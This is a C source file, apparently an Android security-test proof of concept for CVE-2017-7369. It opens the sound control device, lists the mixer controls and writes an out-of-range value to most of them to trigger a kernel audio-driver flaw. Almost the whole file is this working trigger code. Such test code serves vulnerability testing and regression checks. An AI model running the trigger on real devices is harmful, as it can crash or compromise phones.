Home | History | Annotate | Download | only in CVE-2017-7369
      1 /**
      2  * Copyright (C) 2017 The Android Open Source Project
      3  *
      4  * Licensed under the Apache License, Version 2.0 (the "License");
      5  * you may not use this file except in compliance with the License.
      6  * You may obtain a copy of the License at
      7  *
      8  *      http://www.apache.org/licenses/LICENSE-2.0
      9  *
     10  * Unless required by applicable law or agreed to in writing, software
     11  * distributed under the License is distributed on an "AS IS" BASIS,
     12  * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
     13  * See the License for the specific language governing permissions and
     14  * limitations under the License.
     15  */
     16 
     17 #define _GNU_SOURCE
     18 
     19 #include <string.h>
     20 #include <stdio.h>
     21 #include <stdlib.h>
     22 #include <sys/ioctl.h>
     23 #include <sys/ptrace.h>
     24 #include <errno.h>
     25 #include <sys/syscall.h>
     26 #include <sys/prctl.h>
     27 #include <stdint.h>
     28 #include <sys/stat.h>
     29 #include <sys/mman.h>
     30 #include <linux/fb.h>
     31 #include <dlfcn.h>
     32 #include <sys/socket.h>
     33 #include <fcntl.h>
     34 #include <signal.h>
     35 #include <unistd.h>
     36 #include <sound/asound.h>
     37 #include <sys/types.h>
     38 #include <sys/wait.h>
     39 
     40 #define MAXNUM 94
     41 #define MAXPCMOP 25
     42 #define MAXELE 16384
     43 
     44 char* CONTBL[MAXNUM]={
     45     "comprC0D17",
     46     "comprC0D18",
     47     "comprC0D37",
     48     "comprC0D38",
     49     "comprC0D39",
     50     "comprC0D40",
     51     "comprC0D41",
     52     "comprC0D42",
     53     "comprC0D9",
     54     "controlC0",
     55     "hwC0D10",
     56     "hwC0D1000",
     57     "hwC0D11",
     58     "hwC0D12",
     59     "hwC0D13",
     60     "hwC0D14",
     61     "hwC0D15",
     62     "hwC0D16",
     63     "hwC0D2",
     64     "hwC0D20",
     65     "hwC0D21",
     66     "hwC0D22",
     67     "hwC0D24",
     68     "hwC0D25",
     69     "hwC0D26",
     70     "hwC0D3",
     71     "hwC0D30",
     72     "hwC0D31",
     73     "hwC0D35",
     74     "hwC0D36",
     75     "hwC0D37",
     76     "hwC0D39",
     77     "hwC0D40",
     78     "hwC0D45",
     79     "hwC0D7",
     80     "hwC0D8",
     81     "hwC0D9",
     82     "pcmC0D0c",
     83     "pcmC0D0p",
     84     "pcmC0D10c",
     85     "pcmC0D10p",
     86     "pcmC0D11c",
     87     "pcmC0D11p",
     88     "pcmC0D12c",
     89     "pcmC0D12p",
     90     "pcmC0D13c",
     91     "pcmC0D13p",
     92     "pcmC0D14c",
     93     "pcmC0D14p",
     94     "pcmC0D15c",
     95     "pcmC0D15p",
     96     "pcmC0D16c",
     97     "pcmC0D19c",
     98     "pcmC0D19p",
     99     "pcmC0D1c",
    100     "pcmC0D1p",
    101     "pcmC0D20c",
    102     "pcmC0D20p",
    103     "pcmC0D21p",
    104     "pcmC0D22c",
    105     "pcmC0D22p",
    106     "pcmC0D23c",
    107     "pcmC0D23p",
    108     "pcmC0D24c",
    109     "pcmC0D24p",
    110     "pcmC0D25c",
    111     "pcmC0D26p",
    112     "pcmC0D27c",
    113     "pcmC0D28c",
    114     "pcmC0D29c",
    115     "pcmC0D2c",
    116     "pcmC0D2p",
    117     "pcmC0D30c",
    118     "pcmC0D31c",
    119     "pcmC0D32c",
    120     "pcmC0D33c",
    121     "pcmC0D34c",
    122     "pcmC0D35c",
    123     "pcmC0D35p",
    124     "pcmC0D36c",
    125     "pcmC0D36p",
    126     "pcmC0D3c",
    127     "pcmC0D3p",
    128     "pcmC0D43c",
    129     "pcmC0D44c",
    130     "pcmC0D44p",
    131     "pcmC0D45c",
    132     "pcmC0D45p",
    133     "pcmC0D4p",
    134     "pcmC0D5c",
    135     "pcmC0D5p",
    136     "pcmC0D6c",
    137     "pcmC0D7p",
    138     "pcmC0D8c"
    139 };
    140 
    141  char* OPPCM[MAXPCMOP]={
    142     "/dev/snd/pcmC0D0p",
    143     "/dev/snd/pcmC0D10p",
    144     "/dev/snd/pcmC0D11p",
    145     "/dev/snd/pcmC0D12p",
    146     "/dev/snd/pcmC0D13p",
    147     "/dev/snd/pcmC0D14p",
    148     "/dev/snd/pcmC0D15p",
    149     "/dev/snd/pcmC0D19p",
    150     "/dev/snd/pcmC0D1p",
    151     "/dev/snd/pcmC0D20p",
    152     "/dev/snd/pcmC0D21p",
    153     "/dev/snd/pcmC0D22p",
    154     "/dev/snd/pcmC0D23p",
    155     "/dev/snd/pcmC0D24p",
    156     "/dev/snd/pcmC0D2p",
    157     "/dev/snd/pcmC0D32p",
    158     "/dev/snd/pcmC0D33p",
    159     "/dev/snd/pcmC0D3p",
    160     "/dev/snd/pcmC0D40p",
    161     "/dev/snd/pcmC0D41p",
    162     "/dev/snd/pcmC0D44p",
    163     "/dev/snd/pcmC0D47p",
    164     "/dev/snd/pcmC0D4p",
    165     "/dev/snd/pcmC0D5p",
    166     "/dev/snd/pcmC0D7p"
    167 };
    168 
    169 void poc(char* name)
    170 {
    171     int fd, ret, cmd, index,pcmfd, i;
    172     char dev[36]={0};
    173     snprintf(dev, sizeof(dev),"/dev/snd/%s", name);
    174     fd = open(dev, O_RDWR);
    175     if (fd < 0)
    176     {
    177         return;
    178     }
    179 
    180     cmd = SNDRV_CTL_IOCTL_CARD_INFO;
    181     struct snd_ctl_card_info info;
    182     ret = ioctl(fd, cmd, &info);
    183 
    184     struct snd_ctl_elem_list lst;
    185     struct snd_ctl_elem_value control;
    186     memset(&lst, 0, sizeof(lst));
    187     lst.pids = calloc(MAXELE, sizeof(struct snd_ctl_elem_list));
    188     lst.space = MAXELE;
    189     cmd = SNDRV_CTL_IOCTL_ELEM_LIST;
    190     ret = ioctl(fd, cmd, &lst);
    191     control.value.integer.value[0]=control.value.enumerated.item[0] = 0x80001111;
    192 
    193     for(index=0;(unsigned int)index<lst.count;index++)
    194     {
    195         if(!strncmp((const char *)lst.pids[index].name,"SLIM_1_TX Channels",18)||
    196            !strncmp((const char *)lst.pids[index].name,"SLIM_0_TX Channels",18)||
    197            !strncmp((const char *)lst.pids[index].name,"SLIM_6_RX Channels",18)||
    198            !strncmp((const char *)lst.pids[index].name,"SLIM_5_RX Channels",18)||
    199            !strncmp((const char *)lst.pids[index].name,"SLIM_0_RX Channels",18)||
    200            !strncmp((const char *)lst.pids[index].name,"Playback 24 Volume",18)||
    201            !strncmp((const char *)lst.pids[index].name,"left Profile",12)||
    202            !strncmp((const char *)lst.pids[index].name,"Playback Device Channel Map",27)||
    203            !strncmp((const char *)lst.pids[index].name, "LSM",3)||
    204            !strncmp((const char *)lst.pids[index].name,"MAD Input",9)||
    205            !strncmp((const char *)lst.pids[index].name, "AUDIO_REF_EC_UL",15)||
    206            !strncmp((const char *)lst.pids[index].name, "VOC_EXT_EC",10)) continue;
    207 
    208         control.id.numid=lst.pids[index].numid;
    209         ret = ioctl(fd,SNDRV_CTL_IOCTL_ELEM_WRITE,&control);
    210     }
    211     close(fd);
    212 }
    213 
    214 struct mystruct{
    215     int a;
    216     char* pp;
    217 };
    218 
    219 void freeptr(struct mystruct* p)
    220 {
    221     unsigned char* n = (unsigned char *)p->pp;
    222     n = NULL;
    223     p->pp = NULL;
    224     p = NULL;
    225 }
    226 
    227 int main()
    228 {
    229     int i =0;
    230     for(i = 0; i< MAXNUM; i++)
    231     {
    232         poc("controlC0");
    233         break;
    234     }
    235     return 1;
    236 }
    237